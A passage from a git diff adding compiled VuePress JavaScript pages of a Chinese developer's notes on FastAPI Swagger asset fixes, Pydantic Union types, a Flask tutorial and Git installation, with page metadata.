`,5),Gn=n("p",null,[n("code",null,"ssl_ketfile"),s(" 与 "),n("code",null,"ssl_certfile"),s(" 分别为证书与私钥")],-1),Jn={href:"https://ayusummer.github.io/DailyNotes/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E9%80%9A%E8%AF%86.html#%E4%BD%BF%E7%94%A8-openssl-%E5%88%9B%E5%BB%BA%E8%87%AA%E7%AD%BE%E5%90%8D-ssl-%E8%AF%81%E4%B9%A6",target:"_blank",rel:"noopener noreferrer"},Kn=n("hr",null,null,-1),Vn=n("h2",{id:"pydantic",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#pydantic","aria-hidden":"true"},"#"),s(" Pydantic")],-1),Yn={href:"https://pydantic-docs.helpmanual.io/",target:"_blank",rel:"noopener noreferrer"},Xn={href:"https://blog.csdn.net/codename_cys/article/details/107675748#pydantic%E5%BA%93%E7%AE%80%E4%BB%8B",target:"_blank",rel:"noopener noreferrer"},Zn=n("h3",{id:"数据类型",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#数据类型","aria-hidden":"true"},"#"),s(" 数据类型")],-1),$n=n("h4",{id:"多种数据类型-unions",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#多种数据类型-unions","aria-hidden":"true"},"#"),s(" 多种数据类型(Unions)")],-1),ns={href:"https://pydantic-docs.helpmanual.io/usage/types/#unions",target:"_blank",rel:"noopener noreferrer"},ss={href:"https://blog.csdn.net/codename_cys/article/details/107675748#2-%E5%8F%AF%E9%80%89%E6%95%B0%E6%8D%AE%E7%B1%BB%E5%9E%8B",target:"_blank",rel:"noopener noreferrer"},as=n("p",null,[n("code",null,"Union"),s(" type 允许 Model属性支持不同的类型,例如:")],-1),ts=n("div",{class:"language-python line-numbers-mode","data-ext":"py"},[n("pre",{class:"language-python"},[n("code",null,[n("span",{class:"token comment"},"# Python 3.7-3.9"),s(`
+`),n("span",{class:"token keyword"},"from"),s(" uuid "),n("span",{class:"token keyword"},"import"),s(` UUID
+`),n("span",{class:"token keyword"},"from"),s(" typing "),n("span",{class:"token keyword"},"import"),s(` Union
+`),n("span",{class:"token keyword"},"from"),s(" pydantic "),n("span",{class:"token keyword"},"import"),s(` BaseModel
+
+`),n("span",{class:"token keyword"},"class"),s(),n("span",{class:"token class-name"},"User"),n("span",{class:"token punctuation"},"("),s("BaseModel"),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},":"),s(`
+ `),n("span",{class:"token builtin"},"id"),n("span",{class:"token punctuation"},":"),s(" Union"),n("span",{class:"token punctuation"},"["),n("span",{class:"token builtin"},"int"),n("span",{class:"token punctuation"},","),s(),n("span",{class:"token builtin"},"str"),n("span",{class:"token punctuation"},","),s(" UUID"),n("span",{class:"token punctuation"},"]"),s(`
+ name`),n("span",{class:"token punctuation"},":"),s(),n("span",{class:"token builtin"},"str"),s(`
+`)])]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"})])],-1),es=e("需要注意的是, 使用 Union
类型时, Pydantic 会尝试匹配其中的各种类型, 并且会使用其匹配到的第一个合适的类型 ;因此在以上示例中, 由于 UUID
类型可以被解析为 int
类型, 因此 pydantic
会将其认定为 int
类型并不再向后排查类型; 因此, 以上示例应当改为:
",1),ps=n("div",{class:"language-python line-numbers-mode","data-ext":"py"},[n("pre",{class:"language-python"},[n("code",null,[n("span",{class:"token comment"},"# Python 3.7-3.9"),s(`
+`),n("span",{class:"token keyword"},"from"),s(" uuid "),n("span",{class:"token keyword"},"import"),s(` UUID
+`),n("span",{class:"token keyword"},"from"),s(" typing "),n("span",{class:"token keyword"},"import"),s(` Union
+`),n("span",{class:"token keyword"},"from"),s(" pydantic "),n("span",{class:"token keyword"},"import"),s(` BaseModel
+
+`),n("span",{class:"token keyword"},"class"),s(),n("span",{class:"token class-name"},"User"),n("span",{class:"token punctuation"},"("),s("BaseModel"),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},":"),s(`
+ `),n("span",{class:"token builtin"},"id"),n("span",{class:"token punctuation"},":"),s(" Union"),n("span",{class:"token punctuation"},"["),s("UUID"),n("span",{class:"token punctuation"},","),n("span",{class:"token builtin"},"int"),n("span",{class:"token punctuation"},","),s(),n("span",{class:"token builtin"},"str"),n("span",{class:"token punctuation"},"]"),s(`
+ name`),n("span",{class:"token punctuation"},":"),s(),n("span",{class:"token builtin"},"str"),s(`
+`)])]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"})])],-1),os=n("hr",null,null,-1),is=n("h2",{id:"报错收集",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#报错收集","aria-hidden":"true"},"#"),s(" 报错收集")],-1),cs=n("h3",{id:"文档站点加载不出来",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#文档站点加载不出来","aria-hidden":"true"},"#"),s(" 文档站点加载不出来")],-1),ls={href:"https://blog.csdn.net/u014651560/article/details/116526653",target:"_blank",rel:"noopener noreferrer"},us=n("hr",null,null,-1),rs=e(`一般是 cdn.jsdelivr.net
的资源加载不出来, 被 GFW 污染了
找到当前运行 FastAPI 服务的 Python 环境中安装的 FastAPI 依赖包的本地目录下的 openapi/docs.py
, 如:
xxx/.venv/lib/python3.10/site-packages/fastapi/openapi/docs.py
在 get_swagger_ui_html
函数中有如下几个参数指向了公网的 js 与 css 和 png 资源文件, 可以将其下载下来之后换上本地目录
首先需要在主程序挂载一下静态资源目录
from fastapi. staticfiles import StaticFiles
+app = FastAPI( )
+
+app. mount( '/static' , StaticFiles( directory= os. path. join( '/home/xxx/' , 'static' ) ) , name= 'static' )
+
然后相应的将 xxx/.venv/lib/python3.10/site-packages/fastapi/openapi/docs.py
中的几个参数改为:
swagger_js_url: str = "/static/js/swagger-ui-bundle.js" ,
+swagger_css_url: str = "/static/css/swagger-ui.css" ,
+swagger_favicon_url: str = "/static/img/favicon.png" ,
+
然后重启主程序即可
如此配置好后访问交互式文档时可能还会报两个资源获取不到的问题, 是两个 .map
文件
https://cdn.jsdelivr.net/npm/swagger-ui-dist@4/swagger-ui-bundle.js.map
+https://cdn.jsdelivr.net/npm/swagger-ui-dist@4/swagger-ui.css.map
+
直接使用 wget
命令将其下载到对应位置即可:
`,16);function ds(ks,ms){const t=l("ExternalLinkIcon"),c=l("Tabs"),u=l("Mermaid");return d(),k("div",null,[v,n("p",null,[n("a",b,[s("【独家新技术】从0到1学习 FastAPI 框架的所有知识点_哔哩哔哩_bilibili"),a(t)])]),h,g,n("blockquote",null,[n("p",null,[n("a",y,[s("第一步 - FastAPI (tiangolo.com)"),a(t)])])]),q,n("p",null,[f,s(" 是直接从 "),n("a",_,[s("Starlette"),a(t)]),s(" 继承的类。")]),n("blockquote",null,[n("p",null,[n("a",E,[s("Starlette (worldlink.com.cn)"),a(t)]),w,A])]),B,n("blockquote",null,[n("p",null,[n("a",x,[s("路径 - FastAPI (tiangolo.com)"),a(t)])])]),P,S,F,T,D,n("blockquote",null,[n("p",null,[n("a",I,[s("操作 - FastAPI (tiangolo.com)"),a(t)])])]),C,n("blockquote",null,[n("p",null,[n("a",L,[s("定义一个路径操作装饰器 - FastAPI (tiangolo.com)"),a(t)])])]),O,n("blockquote",null,[n("p",null,[n("a",U,[s("定义路径操作函数- FastAPI (tiangolo.com)"),a(t)])])]),R,n("blockquote",null,[n("p",null,[n("a",H,[s("返回内容- FastAPI (tiangolo.com)"),a(t)])])]),N,a(c,{id:"1293",data:[{id:"Python3.6"},{id:"Python3.7"}],active:1},{title0:p(({value:o,isActive:i})=>[s("Python3.6")]),title1:p(({value:o,isActive:i})=>[s("Python3.7")]),tab0:p(({value:o,isActive:i})=>[Q]),tab1:p(({value:o,isActive:i})=>[j]),_:1}),M,n("blockquote",null,[n("p",null,[n("a",W,[s("JSON Compatible Encoder - FastAPI (tiangolo.com)"),a(t)])])]),z,a(c,{id:"1341",data:[{id:"Python 3.6~3.10"},{id:"其它"}],active:0},{title0:p(({value:o,isActive:i})=>[s("Python 3.6~3.10")]),title1:p(({value:o,isActive:i})=>[s("其它")]),tab0:p(({value:o,isActive:i})=>[G]),tab1:p(({value:o,isActive:i})=>[J]),_:1}),K,a(u,{id:"mermaid-1406",code:"eJxlUM9KwzAYv/cp8gKFHTzK7oInr2OULMvWstmMpGWH4UFQKWKhsE4cjlYUdRetJ3UO8WVM2r2FSRu3obfk+32/f1+nT4bIhtQD+wcGAD7DtJHHcxG8NYFpqq8LD/Fui9YHkLEhoW31Fum9mLyI8Jl/jE2zDhy25xqSzvxWl8KBDfqk67hyoIDRrwoQVxmPHvhsviZ/vz8d6TVpJ0GlhikldKdW00F4FIrgkmdn+c3xKp4WWdbcUKSkoiCKoYetMn7xeCeSk7WFzFpkt/lyLJJZHqciiNSWktgiSaUO7GHLhsy2tptWDDWuAkgzhyFCKUbeqBrpVheL1WlYldH4/0Z/UB2+PJbFfIQwY418uuSfE2nKz9NNAr54Lb5ifp3AcsvySA+7qgR228YPcZPVyQ=="}),V,a(u,{id:"mermaid-1410",code:"eJx1UU9LAkEUv/sp5miHjYKOKQgaCVEgeklkmd196qLuxsxuBdEh6tBFCDIQCqOi8mJ2CJQ6+GXcaT9GO7M76xY2pzfz+/N+b169bR/pTUwctFNKIURdrUHwQRMRwIbqUiBU7UAAJKAGOKruEgKWo2LdMQ9BEAXpH1oCTzDquAWqAbptgOrYLbBiyh+bX3J++IOFO5CWxUoCBstI3CQDKQq7f/bHj+zmnXXfvM9rRclysGjltbT/+sQGFzE0n47CeuGbdJWywDOLTFo4Nqlzwvpj7+rFG/W9u+FpTI3QgLmF2xS4AAixycbaerWym6uUt/dKxf1CvoaWSMrEFQreT4wq4yzC8Nd4NH5ZNUyKtTYYYbacWFAUjn18+ZNzGU6CgVxqMhneclMj2fm0G7L5jKYV7rlajArRtiZ8ZJSlbmJmbrfwij6vblf9Wc+7HXz3huxyMp89sLMxdwz9Uj/8RPOx"}),Y,n("blockquote",null,[n("p",null,[n("a",X,[s("【独家新技术】从0到1学习 FastAPI 框架的所有知识点_哔哩哔哩_bilibili"),a(t)])])]),Z,n("blockquote",null,[n("p",null,[n("a",$,[s("SQLAlchemy"),a(t)])])]),nn,n("p",null,[n("a",sn,[s("关于 ORM mode 的技术细节"),a(t)])]),an,n("blockquote",null,[n("p",null,[n("a",tn,[s("What is the best tool or ORM to manage database in Fast API? · Issue #4659 · tiangolo/fastapi (github.com)"),a(t)])]),n("p",null,[n("a",en,[s("Prisma Client Python (prisma-client-py.readthedocs.io)"),a(t)])]),n("p",null,[n("a",pn,[s("prisma/prisma: Next-generation ORM for Node.js & TypeScript | PostgreSQL, MySQL, MariaDB, SQL Server, SQLite, MongoDB and CockroachDB (Preview) (github.com)"),a(t)])]),n("p",null,[n("a",on,[s("Prisma - Next-generation Node.js and TypeScript ORM for Databases"),a(t)])])]),cn,n("blockquote",null,[n("p",null,[n("a",ln,[s("【独家新技术】从0到1学习 FastAPI 框架的所有知识点_哔哩哔哩_bilibili"),a(t)])])]),un,n("blockquote",null,[n("p",null,[n("a",rn,[dn,s(' = {"order_by":...-慕课网 (imooc.com)'),a(t)])]),kn]),mn,n("blockquote",null,[n("p",null,[n("a",vn,[s("【独家新技术】从0到1学习 FastAPI 框架的所有知识点_哔哩哔哩_bilibili"),a(t)])])]),bn,n("blockquote",null,[n("p",null,[n("a",hn,[s("CORS(跨域资源共享) - FastAPI (tiangolo.com)"),a(t)])])]),n("p",null,[n("a",gn,[s("CORS 或者「跨域资源共享」"),a(t)]),s(" 指浏览器中运行的前端拥有与后端通信的 JavaScript 代码,而后端处于与前端不同的「源」的情况。")]),yn,n("blockquote",null,[n("p",null,[n("a",qn,[s("【独家新技术】从0到1学习 FastAPI 框架的所有知识点_哔哩哔哩_bilibili"),a(t)])]),n("p",null,[n("a",fn,[s("Background Tasks - FastAPI (tiangolo.com)"),a(t)])])]),_n,n("blockquote",null,[n("p",null,[n("a",En,[s("Background Tasks - FastAPI (tiangolo.com)"),a(t)])]),wn]),An,a(c,{id:"2207",data:[{id:"Python 3.10 and above"}],active:0},{title0:p(({value:o,isActive:i})=>[s("Python 3.10 and above")]),tab0:p(({value:o,isActive:i})=>[Bn]),_:1}),xn,n("blockquote",null,[n("p",null,[n("a",Pn,[s("Events: startup - shutdown - FastAPI (tiangolo.com)"),a(t)])]),Sn]),Fn,Tn,n("blockquote",null,[n("p",null,[s("需要注意的是你只能在 "),Dn,s(" 中定义这种函数而不能在 "),n("a",In,[s("sub application"),a(t)]),s(" 中定义它们")])]),Cn,n("blockquote",null,[n("p",null,[n("a",Ln,[s("Testing - FastAPI (tiangolo.com)"),a(t)])]),n("p",null,[n("a",On,[s("【独家新技术】从0到1学习 FastAPI 框架的所有知识点_哔哩哔哩_bilibili"),a(t)])])]),Un,n("blockquote",null,[Rn,n("blockquote",null,[n("p",null,[n("a",Hn,[s("Uvicorn 重载目录, 优维康 HTTP/2, 乌维康寿命 (zditect.com)"),a(t)])]),n("p",null,[n("a",Nn,[s("uvicorn reload-dir参数_聪明的大嘴花的博客-CSDN博客"),a(t)])]),n("p",null,[n("a",Qn,[s("Settings - Uvicorn"),a(t)])]),jn]),Mn,Wn]),zn,n("ul",null,[n("li",null,[Gn,n("blockquote",null,[n("p",null,[s("这里我是用 openssl 创建的自签名 SSL 证书, 可参阅: "),n("a",Jn,[s("通识-使用 OpenSSL 创建自签名证书 | DailyNotes (ayusummer.github.io)"),a(t)])])])])]),Kn,Vn,n("blockquote",null,[n("p",null,[n("a",Yn,[s("pydantic (helpmanual.io)"),a(t)])]),n("p",null,[n("a",Xn,[s("Python笔记:Pydantic库简介_Espresso Macchiato的博客-CSDN博客_pydantic"),a(t)])])]),Zn,$n,n("blockquote",null,[n("p",null,[n("a",ns,[s("Field Types - pydantic (helpmanual.io)"),a(t)])]),n("p",null,[n("a",ss,[s("Python笔记:Pydantic库简介_Espresso Macchiato的博客-CSDN博客_pydantic"),a(t)])])]),as,a(c,{id:"2408",data:[{id:"Python 3.7~3.9"}],active:0},{title0:p(({value:o,isActive:i})=>[s("Python 3.7~3.9")]),tab0:p(({value:o,isActive:i})=>[ts]),_:1}),es,a(c,{id:"2416",data:[{id:"Python 3.7~3.9"}],active:0},{title0:p(({value:o,isActive:i})=>[s("Python 3.7~3.9")]),tab0:p(({value:o,isActive:i})=>[ps]),_:1}),os,is,cs,n("blockquote",null,[n("p",null,[n("a",ls,[s("Python fastapi 内网访问swagger方法_高压锅_1220的博客-CSDN博客_fastapi swagger地址"),a(t)])]),us]),rs])}const hs=r(m,[["render",ds],["__file","FastAPI.html.vue"]]);export{hs as default};
diff --git a/assets/Flask.html-08aad440.js b/assets/Flask.html-08aad440.js
new file mode 100644
index 0000000000..dd4df8bf68
--- /dev/null
+++ b/assets/Flask.html-08aad440.js
@@ -0,0 +1,59 @@
+import{_ as p}from"./plugin-vue_export-helper-c27b6911.js";import{r as o,o as l,c,b as a,e as n,d as t,f as e}from"./app-880c6425.js";const u={},i=e(' Flask Microsoft Learn - 使用 Python 和 Flask 生成 AI Web 应用 ',3),r={href:"https://docs.microsoft.com/zh-cn/learn/modules/python-flask-build-ai-web-app/0-introduction",target:"_blank",rel:"noopener noreferrer"},d=a("p",null,"以下内容为以上述链接中内容为蓝本的摘抄, 删减, 扩充与注释",-1),k=e(' 目标 设置 Flask 开发环境 使用 Flask 生成表单 使用翻译器服务翻译文本 配置开发环境 安装 VSCode 安装 Python 创建并进入项目目录 创建 Python 虚拟环境 一个项目专用一个虚拟环境, 避免与其他地方出现依赖冲突问题
',9),h={href:"https://www.zhihu.com/question/27937300",target:"_blank",rel:"noopener noreferrer"},v=a("p",null,"开发用 venv 测试部署用 docker",-1),g=e(`
+python -m venv venv
+
+.\\ venv\\ Scripts\\ activate
+
创建过程需要一些时间
安装 Flask 和其他库 在项目根目录下新建 requirements.txt
来描述本项目需要的 python 第三方库, 后续使用 pip 命令可以依据此文件安装项目依赖
flask
+python-dotenv
+requests
+
python-dotenv
: 用于管理密钥
+pip install -r requirements.txt
+
Flask 基础知识 使用任何框架创建 Web 应用都需要了解几个核心概念: 路由
, 方法
和 模板化
使用路由响应用户请求 在使用 Web 应用时,用户通过浏览到不同的统一资源定位器(即 URL)来表明自己要执行的操作或正在查找的信息; 可以直接输入地址(比如 https://adventure-works.com
),也可以选择链接或包含相应 URL 的按钮。 在电子商务网站上,你可能会看到如下 URL:
主页:https://adventure-works.com/
小组件详细信息:https://adventure-works.com/products/widget
完成购买:https://adventure-works.com/cart/buy
作为开发人员,我们实际上无需担心 URL 的第一部分或域(本例中的“adventure-works.com
”)。 我们的应用程序将根据域名后面的任何内容来执行操作,从 / 开始。 域名后面的部分称为“路由” 。
域名在开发时候不用管, 后面部署项目的时候才会涉及到挂载业务
路由是操作的路径。 与点击移动应用中的按钮类似,路由指示用户想要执行的操作。 我们将在 Web 应用中注册不同的路由,以响应应用程序支持的各种请求。
在我们的应用程序中,我们通过提供一个函数来指示要如何响应特定路由请求 。 路由是到函数的映射。 当我们考虑编写一般代码时,此概念相对直观。 当我们想要执行特定操作时,就会调用函数。 我们的用户将执行完全相同的操作! 不过他们将通过访问路由来完成此操作。
方法或谓词 可以通过所谓的方法或谓词(这两个术语意思相同,可以互换使用)以多种方式访问路由。 访问路由的方式提供了关于用户请求状态和用户要执行的操作的更多上下文。
创建 Web 应用时,有许多可用方法,但最常见的两种方法(也是我们只关注的两种)是“GET”和“POST”。
GET
通常表示用户正在请求信息,POST
表示用户需要向我们发送信息并接收响应。不管使用什么谓词,信息始终都返回给用户。
使用 GET
和 POST
的常见应用程序流围绕使用表单展开。 假设我们创建了一款应用程序,其中用户想要注册邮件列表:
用户通过 GET 访问注册表单 用户完成表单,并选择“提交”按钮 表单中的信息通过 POST 发送回服务器 向用户返回“成功”消息 用户并没有直接指明自己要使用的谓词,谓词由应用程序控制。 一般来说,如果用户通过键入 URL 或选择链接直接导航到 URL,则使用 GET 访问该页面。 当该用户选择表单的按钮时,通常会通过 POST 发送信息。
模板 超文本标记语言 (HTML) 是用于构造浏览器上显示的信息的语言,而级联样式表 (CSS) 则用于管理样式和布局。 在创建应用程序时,大多数 HTML 都是静态的,这意味着该语言不会改变。 然而,为使页面具有动态性,我们需要能够以编程方式将信息放入 HTML 页面。 几乎每个 Web 框架都可通过模板来满足这一需求。
借助模板,你可以编写核心 HTML(或模板)并指示动态信息的占位符。 占位符最常见的语法或许是 {{ }}
。 Flask 的模板引擎 Jinja 会使用这种语法。
<h1>Welcome, {{ name }}</h1>
+
在前面的例子中,我们用到了 h1
(标头)的 HTML,其中包含我们要显示的文本。 {{ name }}
表示要在“欢迎使用”之后显示一个名为 name
的变量。 通过这种语法,我们可以使用现有技能编写 HTML,并根据需要注入动态信息。
创建应用 我们将以迭代方式创建应用程序,在创建过程中重点关注特定的概念。 首先,我们将为应用程序创建登陆页面,该页面将显示用户要使用的表单。
通常,Flask 应用程序的入口点是名为“app.py
”的文件。 我们将遵循这一约定并创建应用程序的核心。 我们将执行以下步骤:
创建核心应用程序 为应用程序添加路由 为网站创建 HTML 模板 测试应用程序 创建核心应用程序 在项目根目录下创建 app.py
并编辑
from flask import Flask, redirect, url_for, request, render_template, session
+
+app = Flask( __name__)
+
当我们想返回 HTML 时,我们将在一段时间内使用 render_template
。
app
将是我们的核心应用程序。 在下一步中,我们将使用它来注册路由。
添加路由 应用程序将使用一个路由 - /。 此路由有时称为“默认”或“索引”路由,因为在用户不提供域或服务器名称之外的任何内容时,就会使用该路由。
在 app.py
末尾添加如下代码:
@app. route ( '/' , methods= [ 'GET' ] )
+def index ( ) :
+ return render_template( 'index.html' )
+
通过 @app.route
,我们可以指定要创建的路由。 路径将是 /,这是默认路由。 我们指出这将用于 GET。 如果 / 收到 GET 请求,Flask 将自动调用修饰器下面直接声明的函数,我们的示例中为 index
。 在 index
的正文中,我们表示将向用户返回一个名为“index.html”的 HTML 模板。
为表单创建 HTML 模板 `,53),m={href:"https://getbootstrap.com/",target:"_blank",rel:"noopener noreferrer"},b={href:"https://www.zhihu.com/question/412680346",target:"_blank",rel:"noopener noreferrer"},q={href:"https://www.w3cschool.cn/article/7600862.html",target:"_blank",rel:"noopener noreferrer"},E=a("p",null,"Bootstrap 上手快, 专为响应式页面而生, 所以此次初识 Flask 用其来布置页面",-1),f=e(``,1),_=a("code",null,"textarea",-1),B=a("code",null,"select",-1),A={href:"https://docs.microsoft.com/zh-cn/azure/cognitive-services/Translator/language-support?WT.mc_id=python-11210-chrhar",target:"_blank",rel:"noopener noreferrer"},x=a("code",null,"value",-1),y=e(` 测试应用程序 创建初始站点后,就该对其进行测试了! 我们将使用 Visual Studio Code 中的集成终端,让这一过程更轻松一些。
在终端中运行以下命令将 Flask 运行时设置为开发,这意味着服务器将在每次更改时自动重载:
+set FLASK_ENV = development
+
+
+export FLASK_ENV = development
+
运行应用程序:
`,7),F=a("p",null,[a("code",null,"Unicode Decode Error"),n(": 获取本机名称遇到中文导致乱码报错")],-1),T=a("p",null,[n("解决方案: 将本机名称改为英文: "),a("code",null,"设置 -> 系统 -> 关于 -> 重命名这台电脑")],-1),w={href:"https://www.cnblogs.com/wsgxg/p/15001711.html",target:"_blank",rel:"noopener noreferrer"},L=a("p",null,[a("img",{src:"http://cdn.ayusummer233.top/img/202111071207376.png",alt:"image-20211107120655193"})],-1),M=a("blockquote",null,[a("p",null,"后面要用到 Azure 的一些服务, 手里没 visa 就不搞了(")],-1),H=a("hr",null,null,-1);function S(D,P){const s=o("ExternalLinkIcon");return l(),c("div",null,[i,a("blockquote",null,[a("p",null,[a("a",r,[n("使用 Python 和 Flask 生成 AI Web 应用 | 简介 - Learn | Microsoft Docs"),t(s)])]),d]),k,a("blockquote",null,[a("p",null,[a("a",h,[n("docker和virtualenv有什么区别? - 知乎 (zhihu.com)"),t(s)])]),v]),g,a("p",null,[n("Flask 的模板引擎 Jinja 非常关注 HTML。 因此,我们可以使用所有现有的 HTML 技能和工具。 我们将使用"),a("a",m,[n("Bootstrap"),t(s)]),n("来布置页面,使其更美观。 通过 Bootstrap ,我们将在 HTML 上使用不同的 CSS 类。 如果不熟悉 Bootstrap,则可以忽略这些类而专注于 HTML(这是真正重要的部分)。")]),a("blockquote",null,[a("p",null,[a("a",b,[n("bootstrap和vue哪个好? - 知乎 (zhihu.com)"),t(s)])]),a("p",null,[a("a",q,[n("vue与bootstrap有什么区别? | w3c笔记 (w3cschool.cn)"),t(s)])]),E]),f,a("p",null,[n("以上 HTML 中的核心组成部分是用户希望翻译的文本的 "),_,n(",以及用户将用来指示目标语言的下拉列表 ("),B,n(")。 如果要添加更多语言,则可以参考"),a("a",A,[n("受支持语言列表"),t(s)]),n(",获取其他选项。 将 "),x,n(" 属性设置为语言代码,例如,“pl”表示波兰语。")]),y,a("blockquote",null,[F,T,a("p",null,[a("a",w,[n("解决Python flask运行报错:UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd2 in position 0: invalid continuation byte - 戈小戈 - 博客园 (cnblogs.com)"),t(s)])]),L]),M,H])}const U=p(u,[["render",S],["__file","Flask.html.vue"]]);export{U as default};
diff --git a/assets/Flask.html-4d873605.js b/assets/Flask.html-4d873605.js
new file mode 100644
index 0000000000..7cbfeae48f
--- /dev/null
+++ b/assets/Flask.html-4d873605.js
@@ -0,0 +1 @@
+const l=JSON.parse('{"key":"v-2bdce488","path":"/%E5%90%8E%E7%AB%AF/Flask/Flask.html","title":"Flask","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"Microsoft Learn - 使用 Python 和 Flask 生成 AI Web 应用","slug":"microsoft-learn-使用-python-和-flask-生成-ai-web-应用","link":"#microsoft-learn-使用-python-和-flask-生成-ai-web-应用","children":[{"level":3,"title":"目标","slug":"目标","link":"#目标","children":[]},{"level":3,"title":"配置开发环境","slug":"配置开发环境","link":"#配置开发环境","children":[]},{"level":3,"title":"创建 Python 虚拟环境","slug":"创建-python-虚拟环境","link":"#创建-python-虚拟环境","children":[]},{"level":3,"title":"安装 Flask 和其他库","slug":"安装-flask-和其他库","link":"#安装-flask-和其他库","children":[]},{"level":3,"title":"Flask 基础知识","slug":"flask-基础知识","link":"#flask-基础知识","children":[]},{"level":3,"title":"创建应用","slug":"创建应用","link":"#创建应用","children":[]}]}],"git":{"createdTime":1667837365000,"updatedTime":1675222387000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":2},{"name":"233Official","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":8.39,"words":2516},"filePathRelative":"后端/Flask/Flask.md","localizedDate":"2022年11月7日","excerpt":""}');export{l as data};
diff --git a/assets/Git.html-4be8cff9.js b/assets/Git.html-4be8cff9.js
new file mode 100644
index 0000000000..7ea21738af
--- /dev/null
+++ b/assets/Git.html-4be8cff9.js
@@ -0,0 +1 @@
+const l=JSON.parse('{"key":"v-7be56ad4","path":"/%E7%A4%BE%E5%8C%BA%E7%9B%B8%E5%85%B3/Git.html","title":"Git","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"查看与升级版本","slug":"查看与升级版本","link":"#查看与升级版本","children":[]},{"level":2,"title":"安装与配置相关","slug":"安装与配置相关","link":"#安装与配置相关","children":[{"level":3,"title":"安装","slug":"安装","link":"#安装","children":[]},{"level":3,"title":"配置","slug":"配置","link":"#配置","children":[]}]},{"level":2,"title":"仓库相关","slug":"仓库相关","link":"#仓库相关","children":[{"level":3,"title":"常规操作","slug":"常规操作","link":"#常规操作","children":[]},{"level":3,"title":"分支操作","slug":"分支操作","link":"#分支操作","children":[]},{"level":3,"title":"查看某个文件变动的所有历史记录","slug":"查看某个文件变动的所有历史记录","link":"#查看某个文件变动的所有历史记录","children":[]},{"level":3,"title":"强制拉取远程更新覆盖本地仓库","slug":"强制拉取远程更新覆盖本地仓库","link":"#强制拉取远程更新覆盖本地仓库","children":[]},{"level":3,"title":"批量修改提交名称与邮箱","slug":"批量修改提交名称与邮箱","link":"#批量修改提交名称与邮箱","children":[]}]},{"level":2,"title":"relations","slug":"relations","link":"#relations","children":[{"level":3,"title":"code996","slug":"code996","link":"#code996","children":[]}]},{"level":2,"title":"learnGitBranching","slug":"learngitbranching","link":"#learngitbranching","children":[]},{"level":2,"title":"常见问题","slug":"常见问题","link":"#常见问题","children":[{"level":3,"title":"fatal: Authentication failed","slug":"fatal-authentication-failed","link":"#fatal-authentication-failed","children":[]},{"level":3,"title":"filename too lang","slug":"filename-too-lang","link":"#filename-too-lang","children":[]},{"level":3,"title":"拉取时间过长","slug":"拉取时间过长","link":"#拉取时间过长","children":[]}]}],"git":{"createdTime":1675089670000,"updatedTime":1698133761000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":2},{"name":"233Laptop","email":"ayusummer233@qq.com","commits":1},{"name":"233Official","email":"ayusummr233@gmail.com","commits":1},{"name":"233PC","email":"ayusummer233@gmail.com","commits":1},{"name":"Ayusummer","email":"ayusummer233@gmail.com","commits":1}]},"readingTime":{"minutes":7.38,"words":2213},"filePathRelative":"社区相关/Git.md","localizedDate":"2023年1月30日","excerpt":""}');export{l as data};
diff --git a/assets/Git.html-d0391a38.js b/assets/Git.html-d0391a38.js
new file mode 100644
index 0000000000..a868eaee90
--- /dev/null
+++ b/assets/Git.html-d0391a38.js
@@ -0,0 +1,98 @@
+import{_ as i}from"./plugin-vue_export-helper-c27b6911.js";import{r as l,o,c,b as n,e as a,d as s,f as t}from"./app-880c6425.js";const r={},p=n("h1",{id:"git",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#git","aria-hidden":"true"},"#"),a(" Git")],-1),d={href:"https://github.com/k88hudson/git-flight-rules/blob/master/README_zh-CN.md#merge-conflict",target:"_blank",rel:"noopener noreferrer"},u=t(' 查看与升级版本 ',3),h={href:"https://stackoverflow.com/questions/13790592/how-to-upgrade-git-on-windows-to-the-latest-version",target:"_blank",rel:"noopener noreferrer"},m=t(`
+git --version
+
+git update-git-for-windows
+
版本 > 2.16.1 则使用: git update-git-for-windows 版本 2.14.2-2.16.1 则使用: git update 版本 <2.14.2 请重新下载安装覆盖
命令执行完毕后弹出 git 安装弹窗
, 根据提示进行安装即可
`,3),b={href:"https://git-scm.com/",target:"_blank",rel:"noopener noreferrer"},v=t(` 安装与配置相关 安装 Linux Debian/Ubuntu
+apt update
+apt upgrade
+
+apt-get install git
+
+add-apt-repository ppa:git-core/ppa
+apt update
+apt install git
+
PPA `,8),g={href:"https://zhuanlan.zhihu.com/p/55250294",target:"_blank",rel:"noopener noreferrer"},k=n("mark",null,"很详细",-1),f={href:"https://www.ubuntupit.com/what-is-ppa-in-ubuntu-linux-and-how-do-i-use-them/",target:"_blank",rel:"noopener noreferrer"},E=t("PPA
表示 个人软件包存档(Personal Package Archive
) 。
在这里注意 “个人” 这个词,它暗示了这是开发人员独有的东西,并没有得到分发的正式许可。
软件仓库是一组文件,其中包含各种软件及其版本的信息,以及校验和等其他一些详细信息。每个版本的 Ubuntu 都有自己的四个官方软件仓库:
Main
- Canonical 支持的自由开源软件。Universe
- 社区维护的自由开源软件。Restricted
- 设备的专有驱动程序。Multiverse
- 受版权或法律问题限制的软件。PPA 基本上是一个包含软件信息的网址, 这些信息存储在 /etc/apt
目录中的 sources.list
文件中
